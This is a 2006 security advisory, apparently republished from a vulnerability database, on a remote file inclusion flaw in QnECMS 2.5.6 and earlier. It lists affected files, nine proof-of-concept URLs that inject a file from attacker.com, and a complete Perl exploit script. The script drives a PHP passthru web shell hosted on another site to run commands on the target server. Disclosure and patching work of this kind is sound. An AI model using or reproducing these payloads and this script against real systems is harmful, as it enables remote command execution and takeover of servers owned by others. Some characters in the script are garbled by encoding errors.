[ECHO_ADV_53$2006] QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Vulnerability

Type securityvulns
Reporter Securityvulns
Modified 2006-10-31T00:00:00



[ECHO_ADV_53$2006] QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Vulnerability

Author : M.Hasran Addahroni Date : Oct, 9th 2006 Location : Australia, Sydney Web : http://advisories.echo.or.id/adv/adv53-K-159-2006.txt Critical Lvl : Dangerous

Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : QneCMS version : <= 2.5.6 URL : http://www.qnecms.co.uk/ Description :

QnECMS is a Content Management System built with accessibility from the ground-up, making it the most standards compliant and accessible CMS on the market. Compliance with World Wide Web Consortium (W3C) Web Content Accessibility Guidelines (WCAG)and standards The administration interface of QnECMS is compliant with the World Wide Web Consortium's Web Accessibility Initiative (WAI) Guidelines. The HTML code is XHTML 1 strict and much of the presentation is done using Cascading Style Sheets (CSS). All field names and field controls are explicitly linked.

Proof of Concept: ~~~~~~~~~~~~~~ Vulnerable Script admin/include/headerscripts.php .

---------------headerscripts.php-------------------------------- ... // check if ctype_digit is available

if (!function_exists('ctype_digit')) { function ctype_digit($string) { return ( is_numeric($string) && (strpos($string, '.') === false) ); } } // safehtmlchecker class by Simon Willison include_once($adminfolderpath."/include/safehtmlchecker.class"); // check to see if there is a contentid appended to the url ...

Variables $adminfolderpath are not properly sanitized. When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

also affected files:

admin/include/footerhome.php admin/include/footermain.php photogallery/headerscripts.php templates/footerhome.php templates/footermain.php templates/headermain.php templates/sitemapfooter.php templates/sitemapheader.php

Poc/Exploit: ~~~~~~~~~~

http://www.target.com/[QnECMS_path]/admin/include/headerscripts.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/admin/include/footerhome.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/admin/include/footermain.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/photogallery/headerscripts.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/templates/footerhome.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/templates/footermain.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/templates/headermain.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/templates/sitemapfooter.php?adminfolderpath=http://attacker.com/evil? http://www.target.com/[QnECMS_path]/templates/sitemapheader.php?adminfolderpath=http://attacker.com/evil?

Solution: ~~~~~~~

  • Sanitize variable $adminfolderpath on affected files.
  • Turn off register_globals

Timeline : ~~~~~~~~~~

09 - 10 - 2006 bugs found 10 - 10 - 2006 vendor contacted 30 - 10 - 2006 public disclosure

Shoutz: ~~~~~ ~ ping - my dearest wife, for all the luv the tears n the breath ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative,kaiten ~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw ~ SinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit, x16 ~ newbie_hacker@yahoogroups.com ~ #aikmel #e-c-h-o @irc.dal.net

Contact: ~~~~~~

 K-159 || echo|staff || eufrato[at]gmail[dot]com
 Homepage: http://k-159.echo.or.id/

-------------------------------- [ EOF ] ----------------------------------

Perl Exploit: ~~~~~~~~~~


QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit

Bug Found & code By K-159

echo.or.id (c) 2006


perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>

perl QnECMs.pl http://target.com/ http://site.com/cmd.txt cmd

cmd shell example: <?passthru($_GET[cmd]);?>

cmd shell variable: ($_GET[cmd]);

Greetz: My Dearest Wife - ping, echo|staff (y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,negative), SinChan, sakitjiwa, maSter-oP, mr_ny3m, bithedz, lieur-euy, x16, mbahngarso, etc

Contact: www.echo.or.id #e-c-h-o @irc.dal.net

use LWP::UserAgent;

$Path = $ARGV[0]; $Pathtocmd = $ARGV[1]; $cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}


while() { print "[shell] \$"; while(<STDIN>) { $cmd=$_; chomp($cmd);

$xpl = LWP::UserAgent->new() or die; $req = HTTP::Request->new(GET =>$Path.'admin/include/headerscripts.php?adminfolderpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req); $return = $res->content; $return =~ tr/[\n]/[Гƒ.ª]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/) {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{ $finreturn = $1; $finreturn=~ tr/[Гƒ.ª]/[\n]/; print "\r\n$finreturn\n\r"; last; }

else {print "[shell] \$";}}}last;

sub head() { print "\n============================================================================\r\n"; print " QnECMS <= 2.5.6 (adminfolderpath) Remote File Inclusion Exploit\r\n"; print "============================================================================\r\n"; } sub usage() { head(); print " Usage: perl QnECMs.pl <target> <cmd shell location> <cmd shell variable>\r\n\n"; print " <Site> - Full path to QnECMs ex: http://www.site.com/ \r\n"; print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by K-159 \r\n"; print " www.echo.or.id #e-c-h-o irc.dal.net 2006 \r\n"; print "============================================================================\r\n"; exit(); }